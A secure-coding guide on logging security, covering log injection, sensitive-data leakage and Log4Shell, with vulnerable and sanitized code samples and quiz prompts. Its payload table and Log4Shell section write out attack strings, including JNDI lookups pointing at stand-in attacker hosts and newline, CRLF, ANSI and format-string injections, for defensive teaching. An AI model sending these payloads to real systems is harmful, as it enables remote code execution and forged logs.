Secure Logging Practices: Prevention & Code Review Guide
Table of Contents
đź“‹ Why Logging Security Matters
Logs are the backbone of observability, debugging, and incident response. But poorly implemented logging is itself a security vulnerability. Logs can leak credentials, expose PII, enable injection attacks, and violate compliance regulations. In code review, logging code is frequently overlooked—yet it touches nearly every part of an application.
Real-world Impact
In 2021, the Log4Shell vulnerability (CVE-2021-44228) demonstrated how logging can become a direct attack vector. Attackers exploited Log4j's message lookup feature to achieve remote code execution by simply injecting a JNDI lookup string into logged data. The incident affected hundreds of thousands of systems worldwide and remains one of the most severe vulnerabilities ever discovered.
The Three Pillars of Logging Security
- Prevent injection: Never let attacker-controlled input manipulate log structure or trigger unintended behavior.
- Protect sensitive data: Never log credentials, tokens, PII, or payment data in plaintext.
- Ensure integrity: Logs must be tamper-evident and stored securely for forensic and compliance purposes.
A Seemingly Innocent Logging Statement
1// Looks harmless, but what if username contains newlines or JNDI lookups?
2app.post('/login', (req, res) => {
3 const { username, password } = req.body;
4 logger.info(`Login attempt for user: ${username}`);
5 // ... authentication logic
6});Which of the following is NOT a logging security risk?
đź’‰ Log Injection Attacks
Log injection occurs when an attacker can insert or manipulate log entries by embedding special characters—most commonly newline characters (\n, \r\n)—in user input that gets logged. This can forge log entries, corrupt log analysis, hide attack traces, or even trigger vulnerabilities in log processing systems.
Log Injection — Vulnerable Code
1# Vulnerable: user input directly interpolated into log message
2import logging
3
4logger = logging.getLogger(__name__)
5
6def login(request):
7 username = request.POST.get('username')
8 logger.info(f"Login attempt for user: {username}")
9 # If username = "admin\n[INFO] Login successful for admin"
10 # The log file now contains a forged "successful login" entryLog Injection — Safe Code
1import logging
2import re
3
4logger = logging.getLogger(__name__)
5
6def sanitize_log_input(value: str) -> str:
7 """Strip control characters and limit length for log safety."""
8 sanitized = re.sub(r'[\x00-\x1f\x7f-\x9f]', '', str(value))
9 return sanitized[:256]
10
11def login(request):
12 username = sanitize_log_input(request.POST.get('username', ''))
13 logger.info("Login attempt for user: %s", username)Log4Shell: When Logging Becomes RCE
The Log4j library evaluated JNDI lookups embedded in logged strings, meaning an attacker could trigger remote code execution by sending ${jndi:ldap://attacker.com/exploit} as a username, User-Agent header, or any value that got logged. Always treat logged data as untrusted and never interpret or evaluate it.
Log Injection Attack Vectors
| Technique | Payload Example | Impact |
|---|---|---|
| Newline Injection | admin\n[INFO] Admin access granted | Forges legitimate-looking log entries |
| CRLF Injection | user\r\n\r\nHTTP/1.1 200 OK | Can split HTTP responses when logs feed into web interfaces |
| ANSI Escape Codes | \x1b[31mFAKE ALERT\x1b[0m | Can manipulate terminal-based log viewers |
| Format String | %s%s%s%s%n | Can cause crashes or memory corruption in C/C++ loggers |
| JNDI Lookup (Log4j) | ${jndi:ldap://evil.com/a} | Remote code execution via deserialization |
Interactive Log Injection Demo
Try different payloads to see how log injection works:
[2026-04-08 14:23:01] INFO Login attempt for user: admin
[2026-04-08 14:23:01] INFO Login attempt for user: admin
Notice how newline characters in the unsafe version can forge fake log entries, while the sanitized version escapes them.
What is the primary defense against log injection attacks?